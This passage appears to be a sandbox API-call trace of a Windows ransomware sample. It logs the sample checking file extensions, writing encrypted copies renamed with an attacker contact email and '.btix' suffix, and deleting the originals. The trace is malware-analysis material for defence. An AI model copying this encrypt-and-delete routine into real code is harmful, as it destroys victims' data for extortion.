(lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0145.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0145.375] lstrlenW (lpString=".doc") returned 4 [0145.375] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0145.375] lstrlenW (lpString=".docx") returned 5 [0145.375] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0145.375] lstrlenW (lpString=".pdf") returned 4 [0145.375] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0145.375] lstrlenW (lpString=".xls") returned 4 [0145.375] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0145.375] lstrlenW (lpString=".xlsx") returned 5 [0145.375] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0145.375] lstrlenW (lpString=".ppt") returned 4 [0145.375] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0145.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0145.375] lstrlenW (lpString=".zip") returned 4 [0145.375] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0145.375] lstrlenW (lpString=".rar") returned 4 [0145.375] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0145.375] lstrlenW (lpString=".bz2") returned 4 [0145.375] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0145.375] lstrlenW (lpString=".7z") returned 3 [0145.375] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0145.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0145.375] lstrlenW (lpString=".dbf") returned 4 [0145.375] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0145.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0145.375] lstrlenW (lpString=".1cd") returned 4 [0145.375] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0145.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0145.375] lstrlenW (lpString=".jpg") returned 4 [0145.375] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0145.376] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=22094) returned 1 [0145.376] CloseHandle (hObject=0x3d0) returned 1 [0145.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms")) returned 0x220 [0145.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0145.376] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.376] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0145.377] GetLastError () returned 0x0 [0145.377] ReadFile (in: hFile=0x3d0, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x564e, lpOverlapped=0x0) returned 1 [0145.645] WriteFile (in: hFile=0x304, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x5650, lpOverlapped=0x0) returned 1 [0145.646] ReadFile (in: hFile=0x3d0, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.646] WriteFile (in: hFile=0x304, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x118, lpOverlapped=0x0) returned 1 [0145.646] SetEndOfFile (hFile=0x304) returned 1 [0145.749] CloseHandle (hObject=0x304) returned 1 [0145.749] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.749] SetEndOfFile (hFile=0x3d0) returned 1 [0145.751] CloseHandle (hObject=0x3d0) returned 1 [0145.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.870] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms")) returned 1 [0145.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0145.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0145.870] lstrlenW (lpString=".doc") returned 4 [0145.870] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0145.870] lstrlenW (lpString=".docx") returned 5 [0145.870] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0145.870] lstrlenW (lpString=".pdf") returned 4 [0145.870] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0145.870] lstrlenW (lpString=".xls") returned 4 [0145.870] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0145.870] lstrlenW (lpString=".xlsx") returned 5 [0145.870] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0145.870] lstrlenW (lpString=".ppt") returned 4 [0145.870] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0145.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0145.871] lstrlenW (lpString=".zip") returned 4 [0145.871] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0145.871] lstrlenW (lpString=".rar") returned 4 [0145.871] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0145.871] lstrlenW (lpString=".bz2") returned 4 [0145.871] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0145.871] lstrlenW (lpString=".7z") returned 3 [0145.871] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0145.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0145.871] lstrlenW (lpString=".dbf") returned 4 [0145.871] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0145.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0145.871] lstrlenW (lpString=".1cd") returned 4 [0145.871] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0145.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0145.871] lstrlenW (lpString=".jpg") returned 4 [0145.871] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0145.871] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574cf8 | out: hHeap=0x510000) returned 1 [0145.871] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5bd6b0 | out: hHeap=0x510000) returned 1 [0145.871] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3de0750 | out: hHeap=0x510000) returned 1 [0145.872] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3df0758 | out: hHeap=0x510000) returned 1 [0145.872] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x409e020 | out: hHeap=0x510000) returned 1 [0145.877] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574e78 | out: hHeap=0x510000) returned 1 [0145.877] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b49e8 [0145.877] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b49e8, Size=0x20) returned 0x443de00 [0145.878] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b49e8 [0145.878] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b49e8, Size=0x20) returned 0x443dfe0 [0145.878] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0145.878] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0145.878] Wow64DisableWow64FsRedirection (in: OldValue=0x350ff50 | out: OldValue=0x350ff50*=0x1) returned 1 [0145.878] lstrlenW (lpString="kernel32.dll") returned 12 [0145.879] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x443dfe0 | out: hHeap=0x510000) returned 1 [0145.879] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0145.879] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x443de00 | out: hHeap=0x510000) returned 1 Thread: id = 47 os_tid = 0xe30 [0126.401] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x3e00760 [0126.402] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x3e10768 [0126.402] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574ec0 [0126.402] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x5bd8d0 [0126.402] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574ed8 [0126.402] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x41a1020 [0126.405] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574ef0 [0126.405] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x574ef0, Size=0x20) returned 0x54e920 [0126.405] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574ef0 [0126.405] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x574ef0, Size=0x20) returned 0x54ea88 [0126.405] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0126.405] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0126.405] Wow64DisableWow64FsRedirection (in: OldValue=0x364ff50 | out: OldValue=0x364ff50*=0x0) returned 1 [0126.405] lstrlenW (lpString="kernel32.dll") returned 12 [0126.405] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54e920 | out: hHeap=0x510000) returned 1 [0126.405] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0126.405] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ea88 | out: hHeap=0x510000) returned 1 [0126.405] Sleep (dwMilliseconds=0x64) [0126.789] Sleep (dwMilliseconds=0x64) [0127.132] Sleep (dwMilliseconds=0x64) [0127.393] Sleep (dwMilliseconds=0x64) [0127.907] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0127.907] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0127.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0127.907] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=9728) returned 1 [0127.907] CloseHandle (hObject=0x390) returned 1 [0127.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0127.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0128.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0128.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0128.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0128.091] lstrlenW (lpString=".doc") returned 4 [0128.091] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0128.091] lstrlenW (lpString=".docx") returned 5 [0128.091] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0128.091] lstrlenW (lpString=".pdf") returned 4 [0128.091] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0128.091] lstrlenW (lpString=".xls") returned 4 [0128.091] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0128.091] lstrlenW (lpString=".xlsx") returned 5 [0128.091] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0128.091] lstrlenW (lpString=".ppt") returned 4 [0128.091] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0128.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0128.091] lstrlenW (lpString=".zip") returned 4 [0128.091] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0128.091] lstrlenW (lpString=".rar") returned 4 [0128.091] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0128.091] lstrlenW (lpString=".bz2") returned 4 [0128.091] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0128.091] lstrlenW (lpString=".7z") returned 3 [0128.091] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0128.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0128.091] lstrlenW (lpString=".dbf") returned 4 [0128.091] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0128.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0128.091] lstrlenW (lpString=".1cd") returned 4 [0128.091] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0128.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0128.092] lstrlenW (lpString=".jpg") returned 4 [0128.092] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0128.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0128.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0128.092] lstrlenW (lpString=".doc") returned 4 [0128.092] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0128.092] lstrlenW (lpString=".docx") returned 5 [0128.092] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0128.092] lstrlenW (lpString=".pdf") returned 4 [0128.092] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0128.092] lstrlenW (lpString=".xls") returned 4 [0128.092] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0128.092] lstrlenW (lpString=".xlsx") returned 5 [0128.092] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0128.092] lstrlenW (lpString=".ppt") returned 4 [0128.092] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0128.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0128.092] lstrlenW (lpString=".zip") returned 4 [0128.092] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0128.092] lstrlenW (lpString=".rar") returned 4 [0128.092] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0128.092] lstrlenW (lpString=".bz2") returned 4 [0128.092] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0128.092] lstrlenW (lpString=".7z") returned 3 [0128.092] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0128.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0128.092] lstrlenW (lpString=".dbf") returned 4 [0128.092] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0128.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0128.092] lstrlenW (lpString=".1cd") returned 4 [0128.092] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0128.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0128.092] lstrlenW (lpString=".jpg") returned 4 [0128.092] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0128.093] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0128.093] lstrlenW (lpString="IPSEventLogMsg.dll") returned 18 [0128.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0128.095] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=2560) returned 1 [0128.095] CloseHandle (hObject=0x38c) returned 1 [0128.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll")) returned 0x20 [0128.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0128.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0128.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69 [0128.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69 [0128.095] lstrlenW (lpString=".doc") returned 4 [0128.095] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0128.095] lstrlenW (lpString=".docx") returned 5 [0128.095] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0128.095] lstrlenW (lpString=".pdf") returned 4 [0128.095] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0128.095] lstrlenW (lpString=".xls") returned 4 [0128.095] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0128.095] lstrlenW (lpString=".xlsx") returned 5 [0128.095] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0128.095] lstrlenW (lpString=".ppt") returned 4 [0128.095] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0128.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69 [0128.095] lstrlenW (lpString=".zip") returned 4 [0128.095] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0128.096] lstrlenW (lpString=".rar") returned 4 [0128.096] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0128.096] lstrlenW (lpString=".bz2") returned 4 [0128.096] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0128.096] lstrlenW (lpString=".7z") returned 3 [0128.096] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0128.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69 [0128.096] lstrlenW (lpString=".dbf") returned 4 [0128.096] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0128.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69 [0128.096] lstrlenW (lpString=".1cd") returned 4 [0128.096] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0128.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69 [0128.096] lstrlenW (lpString=".jpg") returned 4 [0128.096] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0128.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69 [0128.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69 [0128.096] lstrlenW (lpString=".doc") returned 4 [0128.096] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0128.096] lstrlenW (lpString=".docx") returned 5 [0128.096] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0128.096] lstrlenW (lpString=".pdf") returned 4 [0128.096] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0128.096] lstrlenW (lpString=".xls") returned 4 [0128.096] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0128.096] lstrlenW (lpString=".xlsx") returned 5 [0128.096] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0128.096] lstrlenW (lpString=".ppt") returned 4 [0128.096] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0128.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69 [0128.096] lstrlenW (lpString=".zip") returned 4 [0128.096] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0128.096] lstrlenW (lpString=".rar") returned 4 [0128.096] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0128.096] lstrlenW (lpString=".bz2") returned 4 [0128.096] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0128.097] lstrlenW (lpString=".7z") returned 3 [0128.097] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0128.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69 [0128.097] lstrlenW (lpString=".dbf") returned 4 [0128.097] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0128.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69 [0128.097] lstrlenW (lpString=".1cd") returned 4 [0128.097] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0128.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69 [0128.097] lstrlenW (lpString=".jpg") returned 4 [0128.097] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0128.097] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0128.097] lstrlenW (lpString="IpsPlugin.dll") returned 13 [0128.097] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0128.098] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=125952) returned 1 [0128.098] CloseHandle (hObject=0x38c) returned 1 [0128.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll")) returned 0x20 [0128.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0128.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0128.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64 [0128.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64 [0128.099] lstrlenW (lpString=".doc") returned 4 [0128.099] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0128.099] lstrlenW (lpString=".docx") returned 5 [0128.099] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0128.099] lstrlenW (lpString=".pdf") returned 4 [0128.099] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0128.099] lstrlenW (lpString=".xls") returned 4 [0128.099] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0128.099] lstrlenW (lpString=".xlsx") returned 5 [0128.099] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0128.099] lstrlenW (lpString=".ppt") returned 4 [0128.099] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0128.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64 [0128.100] lstrlenW (lpString=".zip") returned 4 [0128.100] 